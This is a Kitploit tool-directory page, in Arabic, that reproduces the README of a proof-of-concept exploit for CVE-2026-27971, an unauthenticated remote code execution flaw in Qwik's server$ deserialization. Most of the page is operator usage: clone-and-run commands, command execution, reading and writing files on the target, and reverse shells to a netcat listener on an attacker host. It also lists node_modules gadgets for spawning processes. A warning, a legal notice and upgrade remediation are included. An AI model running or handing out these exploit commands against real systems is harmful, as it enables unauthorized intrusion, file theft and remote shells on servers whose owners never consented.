Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-27971_POC — CVE-2026-27971 qwik rce | Kitploit
أدوات/GitHubGitHub/ghalendar/cve-2026-27971_poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةالفريق الأحمرأداة الوصول عن بعدتطوير الحمولات
GitHubghalendar/cve-2026-27971_poc

CVE-2026-27971_POC

CVE-2026-27971 qwik rce

عرض المستودع
5منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-27971 — ثغرة تنفيذ التعليمات البرمجية عن بُعد دون مصادقة في Qwik server$ (PoC)

[!WARNING] يحتوي هذا المستودع على إثبات مفهوم نشط لتنفيذ التعليمات البرمجية عن بُعد. استخدمه فقط ضد أنظمة تملكها أو مُخوَّل لك اختبارها صراحةً. لا يتحمّل المؤلف أي مسؤولية عن الاستخدام غير المصرّح به أو الأضرار الناتجة عنه.

إثبات مفهوم مستقل بلغة Python لثغرة CVE-2026-27971 / GHSA-p9x5-jp3h-96mm، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد دون مصادقة في آلية إزالة تسلسل RPC الخاصة بـ server$ في إطار Qwik.

يمكن لإثبات المفهوم تنفيذ استطلاع علامة نشط، وتنفيذ أوامر، وقراءة أو كتابة ملفات نصية، وطلب صدفة عكسية على أنظمة Linux أو Windows. يستخدم مكتبة Python القياسية فقط.

ملخص الثغرة

تنزيل الأداة
الحقلالقيمة
المنتجQwik — حزمة npm @builder.io/qwik
الإصدارات المتأثرة<= 1.19.0
الإصدار المُصحَّح1.19.1
الثغرةتنفيذ تعليمات برمجية عن بُعد دون مصادقة عبر إزالة تسلسل غير آمنة في server$
شرط التشغيليجب أن يكون require() متاحًا في وقت التشغيل
CWECWE-502 — إزالة تسلسل البيانات غير الموثوقة
الخطورةحرجة — CVSS 4.0: 9.2
ناقل الهجومCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

يمكن لطلب application/qwik-json مُصمَّم بعناية أن يشير إلى وحدة نمطية ورمز مُصدَّر على جانب الخادم. قد تقوم إصدارات Qwik المتأثرة بحل QRL غير مسجَّل عبر require() في وقت التشغيل واستدعائه دون مصادقة. يحاول إثبات المفهوم هذا الوصول إلى تصدير متوافق لتنفيذ العمليات موجود مسبقًا في node_modules الخاص بالهدف.

المتطلبات

المشغِّل (Operator):

  • Python 3.
  • وصول شبكي إلى مسار Qwik المحدد الذي يعالج طلبات server$/Qwik JSON.
  • مستمع (listener) يمكن الوصول إليه من الهدف عند اختبار وظيفة الصدفة العكسية.

الهدف:

  • نشر Qwik متأثر يستخدم @builder.io/qwik <= 1.19.0.
  • بيئة تشغيل يتوفر فيها require().
  • وحدة نمطية وتصدير gadget متوافقان يمكن الوصول إليهما في node_modules.
  • node متاح في PATH الخاص بعملية الخدمة.
  • صلاحيات كافية لحساب الخدمة لتنفيذ الأمر أو عملية الملف المطلوبة.

لا تتطلب أي حزم Python خارجية.

البدء السريع

root@kitploit:~
git clone https://github.com/Ghalendar/CVE-2026-27971_POC.git
cd CVE-2026-27971_POC
python3 exploit_combat.py --help

سرد الـ gadgets المدمجة دون إرسال أي طلب:

root@kitploit:~
python3 exploit_combat.py --list-gadgets

تشغيل استطلاع علامة نشط وتجربة كل gadget مدمج:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --probe

[!IMPORTANT] --probe ليس كشفًا سلبيًا للإصدار. فهو يحاول تنفيذ تعليمات برمجية عن بُعد ويؤكد ذلك بطباعة علامة من عملية الهدف.

أمثلة الاستخدام

تنفيذ أمر:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --CMD "node -p process.platform"

قراءة ملف نصي بترميز UTF-8:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --read package.json

كتابة ملف نصي بترميز UTF-8 والتحقق منه:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --write qwik-poc.txt --content "authorized lab test"

طلب صدفة عكسية بعد تشغيل مستمع دائم:

root@kitploit:~
nc -lvnp 4444
root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --lhost 10.10.10.1 --lport 4444 --callback

فرض حمولة الصدفة العكسية لنظام Windows عندما لا يكون كشف نظام التشغيل التلقائي مناسبًا:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --OS windows --lhost 10.10.10.1 --lport 4444

لا يبدأ السكربت مستمعًا. يفتح الفحص المسبق --callback اتصال TCP منفصلًا ويغلقه قبل إرسال حمولة الصدفة، لذا استخدم مستمعًا يمكنه قبول أكثر من اتصال واحد.

مرجع سطر الأوامر

الخيارالوصف
-t URL, --target URLعنوان URL المستهدف المحدد. الافتراضي: http://localhost:3000. لا يتم اكتشاف المسار تلقائيًا.
--probeتنفيذ حمولة علامة بشكل نشط ومحاولة كشف نظام التشغيل.
-c CMD, --CMD CMDتنفيذ أمر عبر child_process.execSync() في Node.js.
--read PATHقراءة ملف نصي بترميز UTF-8 باستخدام fs.readFileSync().
--write PATH --content TEXTكتابة ملف نصي وقراءته مرة أخرى ومقارنة النتيجة. لا يتم إنشاء المجلدات الأصلية.
--list-gadgetsطباعة أسماء الـ gadgets المدمجة والخروج دون إجراء طلب شبكي.
--lhost IPتفعيل وضع الصدفة العكسية وتعيين عنوان الاستدعاء الرجعي.
--lport PORTتعيين منفذ الاستدعاء الرجعي. الافتراضي: 4444.
--rev-allإرسال كل متغيرات الصدفة العكسية بدلاً من التوقف بعد أول طلب HTTP مقبول.
--callbackاختبار إمكانية الوصول عبر TCP الصادر قبل إرسال حمولة الصدفة العكسية.
--OS {auto,linux,windows}اختيار عائلة حمولة الصدفة العكسية. الافتراضي: auto.
--gadget SPECاستخدام auto، أو اسم مدمج، أو <module>#<symbol> مخصص. الافتراضي: cross-spawn.sync.
--arg-style {argv,command,shell}نمط الوسائط لـ gadget مخصص <module>#<symbol>.
--timeout SECONDSمهلة HTTP من جانب العميل. الافتراضي: 30.
--verify-sslتفعيل التحقق من شهادة TLS واسم المضيف. التحقق معطَّل افتراضيًا.

أنماط الإجراء ليست حصرية مع بعضها في المحلل (parser). استخدم واحدًا من --probe أو --CMD أو --read أو --write أو --lhost لكل استدعاء.

الـ gadgets المدمجة

الاسمالوحدة والتصديرالنمط
cross-spawn.sync./node_modules/cross-spawn/index#syncargv
cross-spawn.index-js./node_modules/cross-spawn/index.js#syncargv
execa.sync./node_modules/execa/index#syncargv
execa.index-js.sync./node_modules/execa/index.js#syncargv
execa.commandSync./node_modules/execa/index#commandSynccommand
execa.index-js.commandSync./node_modules/execa/index.js#commandSynccommand
node-cmd.runSync./node_modules/node-cmd/cmd#runSyncshell
node-cmd.cmd-js.runSync./node_modules/node-cmd/cmd.js#runSyncshell

يختبر --gadget auto هذه الـ gadgets بالترتيب المذكور. يمكن توفير gadget مخصص كما يلي:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget "./node_modules/package/path#exportName" --arg-style argv --probe

قيود مهمة

  • النتيجة السلبية للاستطلاع ليست دليلًا على أن الهدف مُصحَّح. فقد تشير إلى مسار غير صحيح، أو gadget مفقود أو غير متوافق، أو خطأ شبكة/TLS، أو تصفية، أو تخطيط نشر مختلف.
  • gadget الافتراضي هو cross-spawn.sync وليس اكتشافًا تلقائيًا. استخدم --gadget auto عندما يكون تخطيط تبعيات الهدف غير معروف.
  • لا توفر الأداة خيارات لملفات تعريف الارتباط (cookies) أو ترويسات التفويض أو الوكلاء أو ترويسات مخصصة عشوائية.
  • عمليات الملفات موجَّهة للنصوص. يتوقع --read ترميز UTF-8، و--write غير مخصص للبيانات الثنائية.
  • تُحلّ المسارات النسبية من دليل عمل عملية Qwik. جميع العمليات تعمل بصلاحيات حساب خدمة Qwik.
  • تشير رسائل نجاح الصدفة العكسية إلى أن طلب HTTP الاستغلالي تم قبوله؛ وهي لا تُثبت استلام الاستدعاء الرجعي.
  • قد يبدأ --rev-all عدة عمليات أو استدعاءات رجعية على الهدف. استخدمه فقط في مختبر معزول.
  • تعكس أكواد خروج العملية بشكل أساسي معالجة الاستطلاع والنقل، وليس حالة خروج الأمر البعيد أو وجود صدفة عاملة.
  • لا تحدد الأداة إصدار Qwik المثبت ويجب ألا تُستخدم كبديل لجرد التبعيات.

المعالجة

قم بترقية @builder.io/qwik إلى 1.19.1 أو أحدث، وحدّث ملف القفل (lockfile)، وأعد بناء التطبيق، وأعد نشر جميع مكونات الخادم. إزالة gadget متوافق وحده ليس إصلاحًا كاملاً لثغرة Qwik الأساسية.

المراجع

  • نشرة Qwik الأمنية — GHSA-p9x5-jp3h-96mm
  • قاعدة بيانات GitHub الاستشارية — CVE-2026-27971
  • إصدار Qwik 1.19.1 المُصحَّح
  • الالتزام بالإصلاح من المنبع
  • سجل CVE
  • إدخال NVD

إشعار قانوني

يُقدَّم هذا المشروع لأغراض البحث الأمني والتحقق الدفاعي والاختبار المُصرَّح به. لا تستخدمه ضد أي أنظمة دون إذن صريح.